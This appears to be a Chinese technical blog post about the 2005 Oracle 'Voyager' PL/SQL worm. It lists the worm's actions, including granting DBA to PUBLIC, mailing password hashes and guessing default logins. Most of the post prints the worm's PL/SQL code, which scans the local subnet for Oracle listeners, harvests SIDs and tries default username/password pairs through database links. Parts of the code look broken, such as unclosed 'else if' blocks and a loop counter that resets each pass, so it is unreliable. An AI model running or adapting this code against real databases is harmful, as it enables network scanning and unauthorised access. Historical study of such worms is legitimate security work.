一个oracle蠕虫病毒

简介: 关于计算机病毒,说起来内容就很丰富了,但是第一次听到关于oracle中的病毒时,却感觉很新鲜。这是一个蠕虫病毒,距离现在已经有10年了,但是现在看起来还是能够借鉴不少精华的东西。
关于计算机病毒,说起来内容就很丰富了,但是第一次听到关于oracle中的病毒时,却感觉很新鲜。这是一个蠕虫病毒,距离现在已经有10年了,但是现在看起来还是能够借鉴不少精华的东西。把里面的一部分内容能够应用到实际中还是很不错的选择。
说起这个病毒,还有点小插曲。2005年10 月 31 日,有一个匿名者在 Full-disclosure(FD) 邮件列表里投递了一篇名为 Trick or treat Larry(很明显是对 Larry Ellison 的一个小玩笑) 的邮件。完全用 PL/SQL 写的蠕虫就这样出现了。这个病毒在当时的杀伤力还是不小的。
1.将DBA权限授予public角色
2.删除名为aa的trigger
3.创建名为aa的数据库登陆后(after database logon)触发器,该触发器还包含了使用UTL_TCP包(前提是病毒所在实例可能链接到外网)获取来自于http://www.google.de/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%27m+Feeling+Lucky的疑似病毒信息,google已经将该地址屏蔽了
4.通过smtp01.us.oracle.com邮件发送服务器发送标题为(Password hashes)包含数据库密码哈希值的邮件至 larry@oracle.com(可能是Oracle老总larry ellison 邮箱地址)
5.扫描实例所在主机子网中的所有ip,之后会尝试使用随机ip.修改listener.log,并且将”alter user mdsys identified by mdsys”添加至glogin.sql,每次使用SQLPLUS时均会执行该SQL.
6.创建可能的数据库连接(DBLINK),并尝试猜测密码组合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等较为常见的组合。
7.尝试关闭listener

这些攻击行为在现在看来还是很难实际攻击的,毕竟道高一尺,魔高一丈,经过这么长的时间,那些攻击点对于这些年来的安全警示可能没有已经几乎没有可能了,但是在当时这个病毒,oracle还是相当重视的,可以参考metalink 
Note 340009.1
Customer Update Regarding Published Sketch For So-Called Oracle Voyager Worm

Last Updated Date: January 18th, 2006

oracle还提供了相应的补丁来修复,可见这个pl/sql在当时的影响力。我们来直接上对应的Pl/sql可以好好琢磨琢磨,希望大家有所收获,能把一些攻击点反转利用为一些工作中的功能点还是很不错的。
set serveroutput on
set verify off
DECLARE
i1 INTEGER;
i2 INTEGER;
iHostToSearchFor INTEGER;
current_ipaddress VARCHAR2(100);
current_network VARCHAR2(100);
current_letter VARCHAR2(1);
c   UTL_TCP.CONNECTION;
ln integer;
vLen NUMBER;
PreviousSID varchar2(100);
vRequest varchar2(500);
vResp varchar2(32767);
vRespPiece varchar2(200);
vRespTemp varchar2(200);
ret_val pls_integer;
BEGIN
current_ipaddress := utl_inaddr.get_host_address;
ln := length(current_ipaddress);
loop
 current_letter := substr(current_ipaddress, ln, 1);
	ln := ln - 1;	
	EXIT WHEN current_letter = '.';
	EXIT WHEN ln = 0;
end loop;
current_network := substr(current_ipaddress, 1, ln);
dbms_output.put_line( 'network to search: ' || current_network );
dbms_output.put_line( 'starting: ' || to_char(sysdate, 'MI:SS') );
iHostToSearchFor := 220;
vRequest := chr(0) || chr(89) || chr(0) || chr(0) || chr(1) || 
chr(0) || chr(0) || chr(0) || 
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || 
chr(8) || chr(0) || 
chr(127) || chr(255) || chr(127) || chr(8) || chr(0) || chr(0) || 
chr(0) || chr(1) || 
chr(0) || chr(31) || chr(0) || chr(58) || chr(0) || chr(0) || 
chr(0) || chr(0) || 
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) 
|| chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(230) || 
chr(0) || chr(0) || 
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) 
|| chr(0) || chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=status))'; 
loop
 begin
   vResp := ''; 
   PreviousSID := '';

 	c  := UTL_TCP.OPEN_CONNECTION(current_network || '.' || 
iHostToSearchFor, 1521);
   dbms_output.put_line( 'found live port @ ' || to_char(sysdate, 
'MI:SS') || ' - ' || current_network || '.' || iHostToSearchFor);
   ret_val := UTL_TCP.WRITE_RAW(c, utl_raw.cast_to_raw(vRequest)); 
   vLen := UTL_TCP.READ_RAW(c, vResp, 100 ); 
   vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 43, 58)); 
   vResp := vRespPiece;   
   declare 
       read_from_network varchar2(32000);
       length_read_from_network INTEGER;
   begin   
     loop
       read_from_network := ''; 
       length_read_from_network := UTL_TCP.READ_RAW(c, 
read_from_network, 100 ); 
       read_from_network := 
utl_raw.cast_to_varchar2(utl_raw.substr(read_from_network, 1, 
length_read_from_network));
       vResp := vResp || read_from_network;       
     end loop;
     EXCEPTION
       when OTHERS then
         read_from_network := '';                 
   end;
-- look for INSTANCE_NAME= and then for )
--   dbms_output.put_line( substr( vResp, 1, 254) );
--   dbms_output.put_line( substr( vResp, 255, 254) );
--   dbms_output.put_line( substr( vResp, 510, 254) );         
	  UTL_TCP.CLOSE_CONNECTION(c); 
 declare 
   i3 INTEGER;
   i4 INTEGER;
   sid varchar2(100);
		cur binary_integer;
		i binary_integer;
		procedure_to_spread varchar2(32000);
   create_link varchar2(500);    
 begin	  
   i3 := 1;
   i4 := 1;
   loop
     i3 := instr(vResp, '(INSTANCE_NAME=', i3);
     exit when i3 = 0;
     i4 := instr(vResp, ')', i3);
     sid := substr( vResp, i3 + 15, i4 - (i3 + 15));
     dbms_output.put_line( 'Found SID of ' || sid );
     i3 := i3 + 1;
     begin
       if sid = PreviousSID or sid = 'PLSExtProc' or sid = 'extproc' 
       then
         -- don't do anything
         dbms_output.put_line( 'Not trying the SID: ' || sid );
       else
         dbms_output.put_line( 'Attacking the SID: ' || sid );                                     
       	loop          
           declare            
            iLoop integer := 0;
            username1 varchar2(100);
            password1 varchar2(100);            
           begin           
           iLoop := iLoop + 1; 
           exit when iLoop = 8;           
           if iLoop = 1 then
             username1 := 'system';
             password1 := 'manager';             
           else if iLoop = 2 then
             username1 := 'sys';
             password1 := 'change_on_install';           
           else if iLoop = 3 then
             username1 := 'dbsnmp';
             password1 := 'dbsnmp';           
           else if iLoop = 4 then
             username1 := 'outln';
             password1 := 'outln';           
           else if iLoop = 5 then
             username1 := 'scott';
             password1 := 'tiger';           
           else if iLoop = 6 then
             username1 := 'mdsys';
             password1 := 'mdsys';           
           else if iLoop = 7 then
             username1 := 'ordcommon';
             password1 := 'ordcommon';           
           end if;                                  
       		cur := dbms_sql.open_cursor;
       		dbms_sql.parse(cur, 'drop database link xxx', 
dbms_sql.v7);
       		i := dbms_sql.execute( cur );   		
   		    create_link := 'CREATE DATABASE LINK xxx CONNECT TO ' || 
username1 || ' IDENTIFIED BY ' || password1 || ' USING 
''(DESCRIPTION=(ADDRESS_LIST=(ADDRESS = (PROTOCOL = TCP)(HOST = ' 
|| iHostToSearchFor || ')(PORT = 1521)))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=' || SID || 
')))'; 		
       		dbms_sql.parse(cur, create_link, dbms_sql.v7);
       		i := dbms_sql.execute( cur );
       		dbms_sql.close_cursor(cur);
 		      cur := dbms_sql.open_cursor at xxx;
-- dbms_sql.parse at xxx(cur, procedure_to_spread, 
dbms_sql.v7);
--        		i := dbms_sql.execute at xxx( cur ); dbms_sql.parse at xxx(cur, 'drop table x', dbms_sql.v7);
       		i := dbms_sql.execute at xxx( cur ); dbms_sql.parse at xxx(cur, 'CREATE TABLE X (Y DATE)' , 
dbms_sql.v7);
       		i := dbms_sql.execute at xxx( cur ); dbms_sql.close_cursor at xxx(cur);       		
       		exception
       		  when others then
              DBMS_OUTPUT.PUT_LINE('failed creating a database link 
that worked ');      		
       		end if;       		
         end loop;         
       end if;       
       PreviousSID := SID;
     end;      
   end loop;
 end;	  
 EXCEPTION
   when utl_tcp.NETWORK_ERROR then
       DBMS_OUTPUT.PUT_LINE('nothing found @ ' || to_char(sysdate, 
'MI:SS') || ' - ' || current_network || '.' || iHostToSearchFor); 
	end;
	iHostToSearchFor := iHostToSearchFor - 1;
	EXIT WHEN iHostToSearchFor = 216;
end loop;
dbms_output.put_line( 'finished the loop @ ' || to_char(sysdate, 
'MI:SS') );
END;
/
目录
相关文章
|
7天前
|
存储 JavaScript 前端开发
JavaScript基础
本节讲解JavaScript基础核心知识:涵盖值类型与引用类型区别、typeof检测类型及局限性、===与==差异及应用场景、内置函数与对象、原型链五规则、属性查找机制、instanceof原理,以及this指向和箭头函数中this的绑定时机。重点突出类型判断、原型继承与this机制,助力深入理解JS面向对象机制。(238字)
|
6天前
|
云安全 人工智能 安全
阿里云2026云上安全健康体检正式开启
新年启程,来为云上环境做一次“深度体检”
1622 6
|
2天前
|
消息中间件 人工智能 Kubernetes
阿里云云原生应用平台岗位急招,加入我们,打造 AI 最强基础设施
云原生应用平台作为中国最大云计算公司的基石,现全面转向 AI,打造 AI 时代最强基础设施。寻找热爱技术、具备工程极致追求的架构师、极客与算法专家,共同重构计算、定义未来。杭州、北京、深圳、上海热招中,让我们一起在云端,重构 AI 的未来。
|
3天前
|
存储 人工智能 自然语言处理
OpenSpec技术规范+实例应用
OpenSpec 是面向 AI 智能体的轻量级规范驱动开发框架,通过“提案-审查-实施-归档”工作流,解决 AI 编程中的需求偏移与不可预测性问题。它以机器可读的规范为“单一真相源”,将模糊提示转化为可落地的工程实践,助力开发者高效构建稳定、可审计的生产级系统,实现从“凭感觉聊天”到“按规范开发”的跃迁。
586 11
|
8天前
|
安全 数据可视化 网络安全
安全无小事|阿里云先知众测,为企业筑牢防线
专为企业打造的漏洞信息收集平台
1335 2
|
7天前
|
缓存 算法 关系型数据库
深入浅出分布式 ID 生成方案:从原理到业界主流实现
本文深入探讨分布式ID的生成原理与主流解决方案,解析百度UidGenerator、滴滴TinyID及美团Leaf的核心设计,涵盖Snowflake算法、号段模式与双Buffer优化,助你掌握高并发下全局唯一ID的实现精髓。
366 160
|
7天前
|
人工智能 自然语言处理 API
n8n:流程自动化、智能化利器
流程自动化助你在重复的业务流程中节省时间,可通过自然语言直接创建工作流啦。
452 6
n8n:流程自动化、智能化利器
|
9天前
|
人工智能 API 开发工具
Skills比MCP更重要?更省钱的多!Python大佬这观点老金测了一周终于懂了
加我进AI学习群,公众号右下角“联系方式”。文末有老金开源知识库·全免费。本文详解Claude Skills为何比MCP更轻量高效:极简配置、按需加载、省90% token,适合多数场景。MCP仍适用于复杂集成,但日常任务首选Skills。推荐先用SKILL.md解决,再考虑协议。附实测对比与配置建议,助你提升效率,节省精力。关注老金,一起玩转AI工具。
|
16天前
|
机器学习/深度学习 安全 API
MAI-UI 开源:通用 GUI 智能体基座登顶 SOTA!
MAI-UI是通义实验室推出的全尺寸GUI智能体基座模型,原生集成用户交互、MCP工具调用与端云协同能力。支持跨App操作、模糊语义理解与主动提问澄清,通过大规模在线强化学习实现复杂任务自动化,在出行、办公等高频场景中表现卓越,已登顶ScreenSpot-Pro、MobileWorld等多项SOTA评测。
1626 7
|
5天前
|
IDE 开发工具 C语言
【2026最新】VS2026下载安装使用保姆级教程(附安装包+图文步骤)
Visual Studio 2026是微软推出的最新Windows专属IDE,启动更快、内存占用更低,支持C++、Python等开发。推荐免费的Community版,安装简便,适合初学者与个人开发者使用。
599 10